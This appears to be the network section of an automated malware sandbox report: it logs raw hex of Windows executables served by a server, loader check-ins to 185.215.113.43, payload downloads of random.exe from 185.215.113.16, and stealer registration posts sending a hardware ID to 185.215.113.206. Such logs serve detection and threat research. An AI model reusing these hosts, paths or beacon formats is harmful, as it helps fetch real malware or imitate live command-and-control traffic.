Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:17 GMTContent-Type: application/octet-streamContent-Length: 1933824Last-Modified: Wed, 30 Oct 2024 11:24:18 GMTConnection: keep-aliveETag: "67221762-1d8200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4c 00 00 04 00 00 21 39 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 67 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 67 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 75 6c 68 77 6a 67 00 70 1a 00 00 00 32 00 00 68 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 6f 77 70 67 62 72 00 10 00 00 00 70 4c 00 00 04 00 00 00 5c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4c 00 00 22 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:30 GMTContent-Type: application/octet-streamContent-Length: 2895872Last-Modified: Wed, 30 Oct 2024 10:42:46 GMTConnection: keep-aliveETag: "67220da6-2c3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 6e 66 78 72 73 75 00 e0 2b 00 00 a0 00 00 00 ce 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6a 63 65 74 79 69 6d 00 20 00 00 00 80 2c 00 00 06 00 00 00 08 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 0e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:34 GMTContent-Type: application/octet-streamContent-Length: 1933824Last-Modified: Wed, 30 Oct 2024 11:24:18 GMTConnection: keep-aliveETag: "67221762-1d8200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4c 00 00 04 00 00 21 39 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 67 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 67 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 75 6c 68 77 6a 67 00 70 1a 00 00 00 32 00 00 68 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 6f 77 70 67 62 72 00 10 00 00 00 70 4c 00 00 04 00 00 00 5c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4c 00 00 22 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:52 GMTContent-Type: application/octet-streamContent-Length: 2895872Last-Modified: Wed, 30 Oct 2024 10:42:46 GMTConnection: keep-aliveETag: "67220da6-2c3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 6e 66 78 72 73 75 00 e0 2b 00 00 a0 00 00 00 ce 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6a 63 65 74 79 69 6d 00 20 00 00 00 80 2c 00 00 06 00 00 00 08 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 0e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 11:37:54 GMTContent-Type: application/octet-streamContent-Length: 1933824Last-Modified: Wed, 30 Oct 2024 11:24:18 GMTConnection: keep-aliveETag: "67221762-1d8200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4c 00 00 04 00 00 21 39 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 67 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 67 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 75 6c 68 77 6a 67 00 70 1a 00 00 00 32 00 00 68 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 6f 77 70 67 62 72 00 10 00 00 00 70 4c 00 00 04 00 00 00 5c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4c 00 00 22 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 36 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002605001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 36 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002606001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="build"tale------AAKEGDAKEHJDHIDHJJDA--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 36 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002607001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 2d 2d 0d 0a Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="build"tale------AFCFHJJECAEHJJKEHIDB--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 36 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002608001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
